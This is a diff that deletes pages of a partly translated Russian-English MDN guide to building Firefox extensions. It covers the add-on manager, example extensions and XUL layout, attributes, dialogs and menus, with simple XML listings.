-<h3 id="Управление_расширениями_при_помощи_менеджера_дополнений">Управление расширениями при помощи менеджера дополнений</h3>
-<p>Менеджер дополнений Firefox - прекрасный способ в управлении расширениями и большой шаг вперед в простоте использования.</p>
-<p><img alt="" class="internal" src="/@api/deki/files/3818/=addons-manager.png" style="width: 563px; height: 462px;"></p>
-<p>Менеджер дополнений выполняет следующие задачи:</p>
-<ul>
- <li>Безопасную установку и удаление дополнений</li>
- <li>Проверку совместимости с используемой версией Firefox</li>
- <li>Управление белым списком сайтов, разрешенных для установки дополнений</li>
- <li>Решение проблем с дополнениями путем их отключения и предложение безопасного режима</li>
- <li>Проверку и запуск обновлений</li>
- <li>Предоставление доступа к настройкам дополнений</li>
- <li>Предоставление доступа к сайтам поддержки дополнений</li>
-</ul>
-<h3 id="Удобство_среды_разработки">Удобство среды разработки</h3>
-<p>Первоначально, не было компетентной документации, и разработчики расширений были предоставлены самим себе<sup><a href="#footnote1" id="from_footnote1">1</a></sup>; однако сейчас накоплена большая база знаний.</p>
-<p>Так как Firefox и его расширения разрабатывают с поддержкой многоязычности, прекрасные образцы расширений приходят со всего света и могут быть локализованы любым человеком, кто в этом заинтересован.</p>
-<p>This lowers the threshold both to using and to developing extensions; that fact, combined with Firefox's rapidly growing popularity, has created a positive feedback loop, with the number of extension users and extension developers growing explosively—сейчас на сайте расширений Firefox(<a class="link-https" href="https://addons.mozilla.org" rel="freelink">https://addons.mozilla.org</a>) опубликовано более 7000 расширений и тем.</p>
-<h2 id="Что_можно_делать_при_помощи_расширений">Что можно делать при помощи расширений</h2>
-<p>Давайте рассмотрим какие возможности могут добавить расширения и несколько примеров расширений.</p>
-<h3 id="Расширения_с_одной_функцией">Расширения с одной функцией</h3>
-<p>{{ TODO("Update this") }}.</p>
-<p>Вот относительно простые расширения, которые добавляют одну возмжность.</p>
-<dl>
- <dt>
- <a class="link-https" href="https://addons.mozilla.org/firefox/1939/" title="https://addons.mozilla.org/firefox/1939/">Text Link</a></dt>
- <dd>
- Makes it so that double-clicking on an unlinked URL follows that URL.</dd>
- <dt>
- <a class="link-https" href="https://addons.mozilla.org/firefox/3082/" title="https://addons.mozilla.org/firefox/3082/">Undo Closed Tabs Button</a></dt>
- <dd>
- Добавляет кномку на панель для открытия большинства недавно закрытых вкладок журнала.</dd>
-</dl>
-<dl>
- <dd>
- <img alt="1211576231.png" class="internal default" src="/@api/deki/files/3316/=1211576231.png" style="width: 340px; height: 317px;"></dd>
-</dl>
-<dl>
- <dt>
- <a class="link-https" href="https://addons.mozilla.org/firefox/4014/" title="https://addons.mozilla.org/firefox/4014/">Locationbar</a></dt>
- <dd>
- Separates a URL’s domain and path in the location bar for easier reading.</dd>
- <dd>
- <img alt="locationbar.png" class="internal default" src="/@api/deki/files/3317/=locationbar.png" style="width: 200px; height: 150px;"></dd>
-</dl>
-<h3 id="Feature_enhancing_extensions">Feature enhancing extensions</h3>
-<p>{{ TODO("Update this") }}.</p>
-<p>Эти расширения предоставляют функции, которые расширяют имеющиеся в Firefox.</p>
-<dl>
-</dl>
-<dl>
- <dt>
- <a class="link-https" href="https://addons.mozilla.org/firefox/1122/" title="https://addons.mozilla.org/firefox/1122/">Tab Mix Plus</a></dt>
- <dd>
- Offers detailed tab-related settings.</dd>
- <dt>
- <a class="external" href="http://prefbar.mozdev.org/" title="http://prefbar.mozdev.org/">PrefBar</a></dt>
- <dd>
- Gives access to numerous preferences from the toolbar.<img alt="PrefBar.png" class="internal default" src="/@api/deki/files/3371/=PrefBar.png" style="width: 843px; height: 113px;"></dd>
- <dt>
- <a class="link-https" href="https://addons.mozilla.org/firefox/722/" title="https://addons.mozilla.org/firefox/722/">NoScript</a></dt>
- <dd>
- Enables and disables JavaScript execution on a site-by-site basis.</dd>
-</dl>
-<h3 id="Web_application_integration_extensions">Web application integration extensions</h3>
-<p>{{ TODO("Update this") }}.</p>
-<p>The use the APIs of certain web applications to provide certain pieces of information.</p>
-<p><img alt="Forecastfox.png" class="internal default" src="/@api/deki/files/3372/=Forecastfox.png" style="width: 359px; height: 94px;"></p>
-<h3 id="New_feature_extensions">New feature extensions</h3>
-<p>{{ TODO("Update this") }}.</p>
-<p>Extensions can add completely new features to Firefox. This class of extension requires a greater level of knowledge and programming ability.</p>
-<dl>
- <dt>
- <a class="link-https" href="https://addons.mozilla.org/firefox/748/" title="https://addons.mozilla.org/firefox/748/">GreaseMonkey</a></dt>
- <dt>
- <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=397735" title="http://forums.mozillazine.org/viewtopic.php?t=397735">UserChrome.js</a></dt>
- <dd>
- Both of these provide an environment for running user scripts (JavaScript) in Firefox itself, where the scripts can target specific websites.</dd>
-</dl>
-<dl>
- <dt>
- <a class="link-https" href="https://addons.mozilla.org/firefox/1865/" title="https://addons.mozilla.org/firefox/1865/">Adblock Plus</a></dt>
- <dd>
- Blocks the display of unwanted advertisements on web pages.</dd>
- <dt>
- <a class="link-https" href="https://addons.mozilla.org/firefox/12/" title="https://addons.mozilla.org/firefox/12/">All-in-One Gestures</a></dt>
- <dd>
- Adds mouse-gesture functionality.</dd>
-</dl>
-<h3 id="Расширения_уровня_приложения">Расширения уровня приложения</h3>
-<p>{{ TODO("Update this") }}.</p>
-<p>Это сложные расширения, которые могутThese are sophisticated extensions that can be considered full-scale applications in their own right, по существу используя Firefox в качестве платформы разработки.</p>
-<p><img alt="Firebug.gif" class="internal default" src="/@api/deki/files/3373/=Firebug.gif" style="width: 712px; height: 336px;"></p>
-<h3 id="One-trick_gag_extensions">One-trick gag extensions</h3>
-<p>{{ TODO("Update this") }}.</p>
-<p>There are a number of one-trick gag extensions that aren’t very useful.</p>
-<p><img alt="Shiitake Mushroom (1).png" class="internal default" src="/@api/deki/files/3375/=Shiitake%20Mushroom%20(1).png" style="width: 200px; height: 150px;"></p>
-<p>This is a very brief survey of a few extensions, but there are many other unique extensions available.</p>
-<p><strong>Table 1: Advanced customization methods for Firefox</strong></p>
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Customization Method</td>
- <td class="header">Does it work for web sites?</td>
- <td class="header">Does it work for Firefox?</td>
- </tr>
- <tr>
- <td>User style sheets (change appearance through CSS)</td>
- <td>
- <p>Yes; you can change the <code>userContent.css</code> file, or use the Stylish extension.</p>
- </td>
- <td>
- <p>Yes; you can change the <code>userChrome.css</code> file, or use the Stylish extension.</p>
- </td>
- </tr>
- <tr>
- <td>User scripts (change appearance and functionality through JavaScript)</td>
- <td>
- <p>Yes; you can use the GreaseMonkey extension or "bookmarklets."</p>
- </td>
- <td>
- <p>Yes; you can change <code>userChrome.js</code> to add functionality through JavaScript.</p>
- </td>
- </tr>
- <tr>
- <td>Extensions (these can do anything)</td>
- <td>Yes</td>
- <td>Yes</td>
- </tr>
- <tr>
- <td>Theming (this changes the look of the browser)</td>
- <td>No</td>
- <td>Yes</td>
- </tr>
- </tbody>
-</table>
-<h2 id="Let's_build_an_extension">Let's build an extension</h2>
-<p>Таблица 1 показывает различные способы настройки доступные ползователям в Firefox. Table 1 shows the various customization options available to a user in Firefox. Users have flexible customization options, using CSS in user style sheets and JavaScript/DOM in user scripts (these depend on Stylish, GreaseMonkey, and <code>userChrome.js</code>).</p>
-<p>В дополнение к CSS и JavaScript, расширения могут использовать преимущества технологий XUL и XPCOM для юолее сложной функциональности. Темы, изменяющие внешний вид Firefox являются одним из типов дополнений.</p>
-<p>Для создания расширения, вам необходима идея и немного способностей к программированию. Следующая глава подробно объясняет технику написания расширений одного из ведущих авторов расширений. We encourage you to try your hand at it as well.</p>
-<div class="footnotes">
- <div class="note" id="footnote1">
- <a href="#from_footnote1">1</a> One of the authors of this special edition, Piro, is world-famous as one of the original developers.</div>
-</div>
-<dl>
-</dl>
-<p>{{ PreviousNext("Firefox_addons_developer_guide", "Firefox_addons_developer_guide/Technologies_used_in_developing_extensions") }}</p>
diff --git a/files/ru/firefox_addons_developer_guide/introduction_to_xul—how_to_build_a_more_intuitive_ui/index.html b/files/ru/firefox_addons_developer_guide/introduction_to_xul—how_to_build_a_more_intuitive_ui/index.html
deleted file mode 100644
index bc0404bdbc..0000000000
--- a/files/ru/firefox_addons_developer_guide/introduction_to_xul—how_to_build_a_more_intuitive_ui/index.html
+++ /dev/null
@@ -1,695 +0,0 @@
----
-title: 'Глава 3: Знакомство с XUL - Как построить интуитивный интерфейс'
-slug: >-
- Firefox_addons_developer_guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI
-translation_of: >-
- Archive/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI
----
-<p>{{ Fx_minversion_header(3.5) }} {{ Draft() }}</p>
-<div class="note">
- <strong>Note: </strong>If you want to contribute to this document please follow the guidelines on the <a class="internal" href="/En/Firefox_addons_developer_guide/Contribute" title="En/Firefox_addons_developer_guide/Contribute">Contribute</a> page.</div>
-<p>{{ PreviousNext("Firefox addons developer guide/Technologies used in developing extensions", "Firefox addons developer guide/Using XPCOM—Implementing advanced processes") }}</p>
-<p> </p>
-<p><em>This document was authored by <a class="external" href="http://piro.sakura.ne.jp/" title="http://piro.sakura.ne.jp/">Hiroshi Shimoda</a> of </em><a class="external" href="http://www.clear-code.com/" title="http://www.clear-code.com/"><em>Clear Code Inc.</em></a><em> and was originally published in Japanese for the </em><a class="link-https" href="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English" title="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English"><em>Firefox Developers Conference Summer 2007</em></a><em>. </em><em>Shimoda-san </em><em>is a co-author of <a class="external" href="http://www.oreilly.co.jp/books/9784873113753/index.html" title="http://www.oreilly.co.jp/books/9784873113753/index.html">Firefox 3 Hacks</a> (O'Reilly Japan, 2008).</em></p>
-<p>Перед тем, как изучать как разрабатывать дополнения, давайте рассмотрим XUL - основанный на XML язык пользовательского интерфейса (UI), <span class="short_text" id="result_box" lang="ru"><span class="hps">который является одним из</span></span> строительных элементов для дополнений.</p>
-<h2 id="Introduction">Introduction</h2>
-<h3 id="An_overview_of_XUL">An overview of XUL</h3>
-<p>XUL is an XML-based language, and was developed to be the GUI markup language for the Mozilla browser. There are earlier experiments going back a long way in developing user interfaces using a combination of HTML and scripting languages, and XUL could be considered an evolutionary step from that. Similar approaches are found in XAML, which is used in Windows Vista, and Flex, which is used in Adobe Flash. Like web pages, which display the same regardless of platform, applications marked up in XUL will work the same in any environment where Firefox runs.</p>
-<p>Because HTML was originally conceived as a language for marking up documents, specifically web pages, it is inevitably lacking in functionality for marking up applications. XUL, on the other hand, was conceived from the ground up as a markup language for user interfaces, and makes it possible to insert UI components with sophisticated features just by writing tags, without any particular scripting.</p>
-<p>Unlike languages with formal specifications that have been standardized by bodies like the W3C, XUL currently does not have an explicit specification.</p>
-<div class="note">
- <strong>Note: </strong>Although there is a specification document, its markup is based on implementations and markup as of 2001, and current XUL differs from it in many aspects. For the latest XUL specifications, please see the <a class="internal" href="/en/XUL_Reference" title="en/XUL Reference">XUL Reference on MDC</a> and the <a class="external" href="http://wiki.mozilla.org/XUL" title="http://wiki.mozilla.org/XUL">XUL page</a> in the Mozilla wiki.</div>
-<p>For each element that I explain in this chapter, I will illustrate it with a source code example. You can type these examples up and open them in Firefox to see how they behave and appear. You can download a file with all the source code examples from: {{ TODO("Attache the translated tarball - Paul Task !") }}.</p>
-<h4 id="XUL_display_methods">XUL display methods</h4>
-<p>XUL is used almost exclusively in Mozilla applications like Firefox and Thunderbird, and extensions for them, but other web browsers based on Firefox or the Gecko engine, and even web-based content also used XUL. For example, there is the <a class="external" href="http://www.faser.net/mab/chrome/content/mab.xul" title="http://www.faser.net/mab/chrome/content/mab.xul">Mozilla Amazon Browser</a>, which helps with shopping at Amazon, and the <a class="external" href="http://piro.sakura.ne.jp/xul/applications/takahashi-r/" title="http://piro.sakura.ne.jp/xul/applications/takahashi-r/">Presentation Method in XUL</a>, a tool for writing and displaying presentations</p>
-<p>To try out the code samples in this chapter, save them as text files with <code>.xul</code> extensions and drag and drop them into the Firefox browser window.</p>
-<p>{{ TODO("Explain how setting this option and use next listings") }}</p>
-<p>If we want to run Firefox displaying none of its GUI and only the contents of a certain XUL file, we can launch Firefox and set the option: <code>-chrome file_URL.xul</code></p>
-<p>Another way, as shown in Listing 1, is to use the <a class="internal" href="/en/DOM/window.openDialog" title="En/DOM/Window.openDialog"><code>window.openDialog()</code></a> method, which can be used only within a XUL window. This is used by extensions to open a separate window.</p>
-<pre>window.openDialog('another.xul', '_blank','chrome,all,dialog=no'); </pre>
-<p><strong>Listing 1: Opening a window without the Firefox GUI</strong></p>
-<h4 id="XUL_as_an_XML_application">XUL as an XML application</h4>
-<p style="text-align: left;">Listing 2 shows an example of a GUI definition file marked up in XUL (a "XUL document"). The root element in XUL is generally the "window" element. The namespace URI is :</p>
-<pre><code>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</code>
-</pre>
-<p style="text-align: left;">If the character encoding is UTF-8, both the encoding specifier and the XML declaration can be omitted. But for the samples in this chapter, please include them. </p>
-<p>Because a XUL document is also an XML document, it can contain XHTML, SVG, MathML, and other elements; if you use external entity references, the XML document's contents are modularized; combined with other XML-related technologies, such as DOM, XLink, or XSLT, you can use it for a number of different applications.</p>
-<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;?xml-stylesheet href="chrome://global/skin/"?&gt;
-&lt;window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
-  &lt;!-- Contents go here. --&gt;
-&lt;/window&gt;
-</pre>
-<p><strong>Listing 2: General structure of a XUL document</strong></p>
-<p>Even with the internationalization of Firefox and extensions, this kind of XML function is being used.</p>
-<h4 id="Reading_in_style_sheets">Reading in style sheets</h4>
-<p>XUL uses CSS to specify the appearance of its elements. Again, since XUL is a type of XML, stylesheets are read in using the <code>xml-stylesheet</code> processing instruction.</p>
-<p>On line 2 of Listing 2, we’re reading in the theme’s standard style sheet. By referring to a special style sheet within <code><a class="external" rel="freelink">chrome://global/skin/</a></code>, we can make label and button sizes, window background color, etc, match the currently selected theme in Firefox. We can also read in a stylesheet that we had set up ourselves.</p>
-<h4 id="The_XUL_box_model">The XUL box model</h4>
-<p>In principle, XUL lays out all UI components using combinations of two kinds of boxes: horizontal and vertical. As shown in Listing 3, elements can be laid out horizontally using the <a class="internal" href="/en/XUL/hbox" title="En/XUL/Hbox"><code>hbox</code></a> (horizontal box) element or vertically using the <a class="internal" href="/en/XUL/vbox" title="En/XUL/Vbox"><code>vbox</code></a> (vertical box) element. When this file is opened in Firefox, it is displayed as shown in Figure 1.</p>
-<pre class="brush: xml">&lt;label value="Horizontal layout"/&gt;
-&lt;hbox&gt;
-  &lt;button label="horizontal1"/&gt;
-  &lt;button label="horizontal2"/&gt;
-&lt;/hbox&gt;
-&lt;label value="Vertical layout"/&gt;
-&lt;vbox&gt;
-  &lt;button label="vertical1"/&gt;
-  &lt;button label="vertical2"/&gt;
-&lt;/vbox&gt;
-&lt;label value="mixed"/&gt;
-&lt;hbox&gt;
-  &lt;button label="mixed1"/&gt;
-  &lt;vbox&gt;
-    &lt;button label="mixed2"/&gt;
-    &lt;button label="mixed3"/&gt;
-  &lt;/vbox&gt;
-  &lt;button label="mixed4"/&gt;
-&lt;/hbox&gt;
-</pre>
-<p><strong>Listing 3: Horizontal and vertical boxes</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3819/=figure-1.png" style="width: 492px; height: 222px;"></p>
-<p><strong>Figure 1: Output of Listing 3</strong></p>
-<p>There is also a <a class="internal" href="/en/XUL/grid" title="En/XUL/Grid"><code>grid</code></a> element, which can be used for layouts similar to those achieved using the HTML <code>table</code> element, a <a class="internal" href="/en/XUL/stack" title="En/XUL/Stack"><code>stack</code></a> element for layering other elements, and so on. All on-screen widgets are laid out using these boxes, making complex interface designs possible.</p>
-<h4 id="Common_attributes">Common attributes</h4>
-<p>Before we look at the various interface objects, let's look at some of their common attributes, especially the frequently used ones.</p>
-<h5 id="id_and_class">id and class</h5>
-<p>The attributes <a class="internal" href="/en/XUL/Attribute/id" title="En/XUL/Attribute/Id"><code>id</code></a> and <a class="internal" href="/en/XUL/Attribute/class" title="En/XUL/Attribute/Class"><code>class</code></a> fill the same role that the XHTML attributes of the same names fill. <code>id</code> is used to define a unique name for an element, and <code>class</code> is used to classify elements; both of these provide convenient ways to refer to elements in CSS and JavaScript. There are also special kinds of element that only come into play after being referenced by another element.</p>
-<h5 id="orient">orient</h5>
-<p>Whether a box's contents will be vertically or horizontally arrayed depends on the elements in their initial state. You can explicitly set or change this layout using the <a class="internal" href="/en/XUL/Property/orient" title="En/XUL/Property/Orient"><code>orient</code></a> attribute, with options for horizontal and vertical.</p>
-<h5 id="align_and_pack">align and pack</h5>
-<p>The <a class="internal" href="/en/XUL/Attribute/align" title="En/XUL/Attribute/Align"><code>align</code></a> and <a class="internal" href="/en/XUL/Attribute/pack" title="En/XUL/Attribute/Pack"><code>pack</code></a> attributes both specify the layout of elements within a box. They can both take the values <code>start</code> (top or left), <code>center</code>, <code>end</code> (bottom or right), or <code>stretch</code> (extend this element to match the element with the greatest height or width).</p>
-<p>The <code>align</code> attribute is defined as operating in the axis perpendicular to the <code>orient</code> attribute, while the pack attribute operates along the same axis as the orient attribute. Figure 2 shows how setting <code>align="center" pack="start"</code> on two elements will result in completely different output with the only difference being the value for orient.</p>
-<pre class="brush: xml">&lt;box flex="1" align="end" pack="end"&gt;
- &lt;button label="Happy"/&gt;
- &lt;button label="Sad"/&gt;
-&lt;/box&gt;</pre>
-<p><strong>Listing 2: How align and pack respond to orient</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3839/=figure-2.png" style="width: 331px; height: 83px;"></p>
-<p> </p>
-<p><strong>Figure 2: Output from listing 2</strong></p>
-<h5 id="flex">flex</h5>
-<p>Elements ordinarily have fixed height and width. The <a class="internal" href="/en/XUL/Attribute/flex" title="En/XUL/Attribute/Flex"><code>flex</code></a> attribute indicates that an element should be expanded to take up all of a window's height or width.</p>
-<p><code>flex</code> takes a positive integer as a value, which is a growth multiple on the axis of the parent element's <code>orient</code> attribute. For example, <code>flex="1"</code> indicates that the element should extend to fill that axis; if there are two elements with <code>flex="1"</code> in a row, they are adjusted to be of equal size. You can assign <code>flex="2"</code> (or higher values) as a size multiplier for elements. In Listing 4, the second label will be displayed twice as big as the first (Figure 3).</p>
-<pre class="brush: xml">&lt;hbox&gt;
-  &lt;label value="label1" flex="1" style="border: 1px solid;"/&gt;
-  &lt;label value="label2" flex="2" style="border: 1px solid;"/&gt;
-&lt;/hbox&gt;
-</pre>
-<p><strong>Listing 4: Growing with flex</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3820/=figure-3.png" style="width: 485px; height: 23px;"></p>
-<p><strong>Figure 3: Output of Listing 4</strong></p>
-<h5 id="ordinal">ordinal</h5>
-<p>Within a XUL box, elements will ordinarily be laid out following their order of appearance in the source code (laid out left to right or top to bottom). Use the <a class="internal" href="/en/XUL/Attribute/ordinal" title="En/XUL/Attribute/Ordinal"><code>ordinal</code></a> attribute to alter their order. The <code>ordinal</code> attribute takes positive integer values, which are used to order the box’s layout—in the example in Listing 5, the buttons would be laid out in the order button3, button2, button1 (Figure 4).</p>
-<p>If multiple elements have the same ordinal value, they will be laid out in the same relative order they appear in the source code. The default value for ordinal is 1.</p>
-<pre class="brush: xml">&lt;vbox&gt;
-  &lt;button label="button1" ordinal="3"/&gt;
-  &lt;button label="button2" ordinal="2"/&gt;
-  &lt;button label="button3" ordinal="1"/&gt;
-&lt;/vbox&gt;
-</pre>
-<p><strong>Listing 5: Changing order with ordinal</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3821/=figure-4.png" style="width: 489px; height: 98px;"></p>
-<p><strong>Figure 4: Output of Listing 5</strong></p>
-<h5 id="box_size">box size</h5>
-<p>You can set the size of XUL elements explicitly using the <a class="internal" href="/en/XUL/Attribute/width" title="En/XUL/Attribute/Width"><code>width</code></a> and <a class="internal" href="/en/XUL/Attribute/height" title="En/XUL/Attribute/Height"><code>height</code></a> attributes, as shown in Listing 6. If you are creating elements that can grow using the <code>flex</code> attribute, you can also set minimums and maximums using <a class="internal" href="/en/XUL/Attribute/minwidth" title="En/XUL/Attribute/Minwidth"><code>minwidth</code></a>, <a class="internal" href="/en/XUL/Attribute/minheight" title="En/XUL/Attribute/Minheight"><code>minheight</code></a>, <a class="internal" href="/en/XUL/Attribute/maxwidth" title="En/XUL/Attribute/Maxwidth"><code>maxwidth</code></a>, and <a class="internal" href="/en/XUL/Attribute/maxheight" title="En/XUL/Attribute/Maxheight"><code>maxheight</code></a>. These all use pixels as the unit of size.</p>
-<pre class="brush: xml">&lt;button label="Button" width="200" height="100"/&gt;
-</pre>
-<p><strong>Listing 6: Setting the size of a button</strong></p>
-<p>Also, as shown in Listing 7, you can embed CSS inline into elements via the <a class="internal" href="/en/XUL/Attribute/style" title="En/XUL/Attribute/Style"><code>style</code></a> attribute, which allows you to set sizes using units other than pixels.</p>
-<pre class="brush: xml">&lt;button label="Button" style="min-width: 10em;"/&gt;
-</pre>
-<p><strong>Listing 7: Setting the size of a button using CSS markup</strong></p>
-<h5 id="hidden_and_collapsed">hidden and collapsed</h5>
-<p>The <a class="internal" href="/en/XUL/Attribute/hidden" title="En/XUL/Attribute/Hidden"><code>hidden</code></a> and <a class="internal" href="/en/XUL/Attribute/collapsed" title="En/XUL/Attribute/Collapsed"><code>collapsed</code></a> attributes act as switches to turn off the display of elements.</p>
-<p>Setting <code>hidden="true"</code> disables display of that element. This has the same effect as setting <code>display: none</code> in CSS. You would use this to set a hidden or absent state, for example items that aren't displayed in contextual menus.</p>
-<p>Setting <code>collapsed="true"</code> sets an element's height and width to 0, but the element is treated as being present. This is equivalent to setting <code>visibility: collapse</code> in CSS. Use this to "roll up" sidebars that aren't currently in use.</p>
-<h5 id="disabled">disabled</h5>
-<p>While not appropriate for all elements, you can use the <a class="internal" href="/en/XUL/Attribute/disabled" title="En/XUL/Attribute/Disabled"><code>disabled</code></a> attribute to temporarily disable input to an element that is normally operable by the user. Typically, elements with the <code>disabled="true"</code> attribute will appear as either transparent or pale gray.</p>
-<div class="note">
- <strong>Note: </strong>With attributes like <code>hidden</code>, <code>collapsed</code>, and <code>disabled</code>, which take Boolean values, setting <code>disabled="false"</code> in XUL can have unintended consequences. This is because there may be cases where a script or CSS rule will be written in such a way that they treat the value as true unconditionally if any value has been set. So when changing the attribute’s value using a DOM function for example, do not use <code>setAttribute('disabled', false)</code> — instead, use <code>removeAttribute('disabled')</code>.</div>
-<h5 id="tooltiptext">tooltiptext</h5>
-<p>Use the <a class="internal" href="/en/XUL/Attribute/tooltiptext" title="En/XUL/Attribute/Tooltiptext"><code>tooltiptext</code></a> attribute to display a brief explanatory tooltip above the element. The text entered as the value for this attribute is what gets displayed as the tooltip.</p>
-<h5 id="persist">persist</h5>
-<p>The <a class="internal" href="/en/XUL/Attribute/persist" title="En/XUL/Attribute/Persist"><code>persist</code></a> attribute is an easy way to record and store a XUL element’s state after it has been changed by a user operation. Enter the names of the other attributes whose values you want to store as a space-delimited ASCII string into the value for persist; the next time that XUL document is opened, the saved values will automatically be restored<sup><a href="#footnote4" id="from_footnote4">4</a></sup>. The settings system, which we will explore in <a class="internal" href="/En/Firefox_addons_developer_guide/Using_XPCOM—Implementing_advanced_processes" title="En/Firefox addons developer guide/Using XPCOM—Implementing advanced processes">Chapter 4</a>, makes it possible to save simple states without any complex scripts.</p>
-<div class="note">
- <strong>Note: </strong>These values are stored in <code>localstore.rdf</code>, inside the user profile.</div>
-<p>In order for the <code>persist</code> attribute to record the states of other elements, each of those elements must have its <code>id</code> set. </p>
-<h2 id="Widgets_that_can_be_used_in_XUL">Widgets that can be used in XUL</h2>
-<h3 id="Root_elements">Root elements</h3>
-<p>XUL documents use different root elements for different purposes. In this section, we’ll look at three typical types of root element: the <a class="internal" href="/en/DOM/window" title="En/DOM/Window"><code>window</code></a>, <a class="internal" href="/en/XUL/page" title="En/XUL/Page"><code>page</code></a>, and <a class="internal" href="/en/XUL/dialog" title="En/XUL/Dialog"><code>dialog</code></a> elements.</p>
-<p>Root elements use the <a class="internal" href="/en/XUL/Attribute/windowtype" title="En/XUL/Attribute/Windowtype"><code>windowtype</code></a> attribute as an arbitrary identifier for the type of window. For example, Firefox uses the windowtype <code>navigator:browser</code> for its browser window and <code>Browser:Preferences</code> for its options dialog. Using methods we will cover in <a class="internal" href="/En/Firefox_addons_developer_guide/Using_XPCOM—Implementing_advanced_processes" title="En/Firefox addons developer guide/Using XPCOM—Implementing advanced processes">Chapter 4</a>, we will see how windows can be acquired using these values as keys.</p>
-<p>A window's dimensions and location on screen can be specified using the attributes <code>width</code>, <code>height</code>, <code>screenX</code>, and <code>screenY</code> (all using pixels as units). With the previously discussed <code>persist</code> attribute, you can easily store a window's size and location. Firefox uses this method to store its own window sizes and locations as well.</p>
-<h4 id="General_root_elements">General root elements</h4>
-<h5 id="window">window</h5>
-<p>The <code>window</code> element that has appeared in examples so far is a root element used to define an ordinary window. This displays the same kind of window used for the Firefox browser window, the bookmark manager window, and many other windows. You can generally use the window element as your root element.</p>
-<h5 id="page">page</h5>
-<p>For sidebar panels and other XUL documents that are opened within inline frames, use the <code>page</code> element as the root element. Apart from having a different intended purpose than the window element, it is functionally no different.</p>
-<h4 id="Root_elements_for_dialog_windows">Root elements for dialog windows</h4>
-<h5 id="dialog">dialog</h5>
-<p>Use the <code>dialog</code> element when creating options dialogs, confirmation dialogs, etc. This element takes a number of attributes, and can easily be made to display controls (buttons, etc) using widgets and layouts native to whatever platform it is running on.</p>
-<p>For example, Windows places the OK button on the left and the Cancel button on the right, while Mac OS X has the opposite layout. This is what Firefox itself uses for bookmark properties and other dialogs.</p>
-<h5 id="Buttons_used_in_dialog_windows">Buttons used in dialog windows</h5>
-<p>A <code>dialog</code> element will display some number of buttons at its bottom. As shown in Table 1, there are four types of buttons that can be displayed, and you can set the names of the buttons you want to display as a comma-delimited list in the value of the <a class="internal" href="/en/XUL/Attribute/buttons" title="En/XUL/Attribute/buttons"><code>buttons</code></a> attribute.</p>
-<p>{{ TODO("Make the table cleaner") }}</p>
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Button name</td>
- <td class="header">Description</td>
- </tr>
- <tr>
- <td><code>accept</code></td>
- <td>The OK button.</td>
- </tr>
- <tr>
- <td><code>cancel</code></td>
- <td>The cancel button.</td>
- </tr>
- <tr>
- <td><code>help</code></td>
- <td>The help button.</td>
- </tr>
- <tr>
- <td><code>disclosure</code></td>
- <td>Either a disclosure triangle or a button.  This is used to allow the user to toggle the display of additional information.</td>
- </tr>
- </tbody>
-</table>
-<p><strong>Table 1: Types of buttons that can be displayed in the dialog element</strong></p>
-<p>Additionally, there are two special button names, <code>extra1</code> and <code>extra2</code>. The labels for these buttons are set using the <a class="internal" href="/en/XUL/Attribute/buttonlabelextra1" title="En/XUL/Attribute/Buttonlabelextra1"><code>buttonlabelextra1</code></a> and <a class="internal" href="/en/XUL/Attribute/buttonlabelextra2" title="En/XUL/Attribute/Buttonlabelextra2"><code>buttonlabelextra2</code></a> attributes on the root element, which take arbitrary strings as their values.</p>
-<p>The action taken when pressing one of these buttons is defined by an event handler with the name <code>ondialog&lt;button name&gt;</code>. If these event handlers are not defined, pressing either the accept button or cancel button will simply close that dialog. Listing 8 shows a simple dialog example, and Figure 5 shows its output.</p>
-<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;?xml-stylesheet href="chrome://global/skin/"?&gt;
-&lt;dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
- title="My Dialog" buttons="accept,cancel"
- ondialogaccept="saveValues(); window.close();"
- ondialogcancel="window.close();"&gt;
- &lt;checkbox label="My Option"/&gt;
-&lt;/dialog&gt;
-</pre>
-<p><strong>Listing 8: A dialog</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3822/=figure-5.png" style="width: 330px; height: 121px;"></p>
-<p><strong>Figure 5: Output from Listing 8</strong></p>
-<div class="note">
- <strong>Note: </strong>The functions behind the dialog elements discussed here require "XPConnect privileges," which are discussed in Chapter 4, so this example will only run correctly if it can run as Firefox code itself or installed extension code. Please be aware that if you attempt to open this sample directly in Firefox, it will not run correctly.</div>
-<h3 id="Menus">Menus</h3>
-<p>Hierarchically structured dropdown menus are the part of the user interface used for frequently accessed functions in an application or web service. In the past, a combination of HTML and JavaScript was used to produce this sort of complex UI structure, but in XUL, it can be handled easily just by writing tags.</p>
-<h4 id="Creating_the_menu">Creating the menu</h4>
-<p>Listing 9 shows how the <a class="internal" href="/en/XUL/menu" title="En/XUL/Menu"><code>menu</code></a> element and its related elements are combined. This produces the output seen in Figure 6.</p>
-<pre class="brush: xml">&lt;menubar&gt;
- &lt;menu label="Menu 1"&gt;
- &lt;menupopup&gt;
- &lt;menuitem label="Item 1"/&gt;
- &lt;menuitem label="Item 2"/&gt;
- &lt;menuseparator/&gt;
- &lt;menuitem label="Item 3"/&gt;
- &lt;menu label="Submenu"&gt;
- &lt;menupopup&gt;
- &lt;menuitem label="Item 4"/&gt;
- &lt;menuitem label="Item 5"/&gt;
- &lt;/menupopup&gt;
- &lt;/menu&gt;
- &lt;/menupopup&gt;
- &lt;/menu&gt;
-&lt;/menubar&gt;
-</pre>
-<p><strong>Listing 9: A menu definition</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3834/=figure-6.png" style="width: 203px; height: 35px;"></p>
-<p><strong>Figure 6: Output from Listing 9</strong></p>
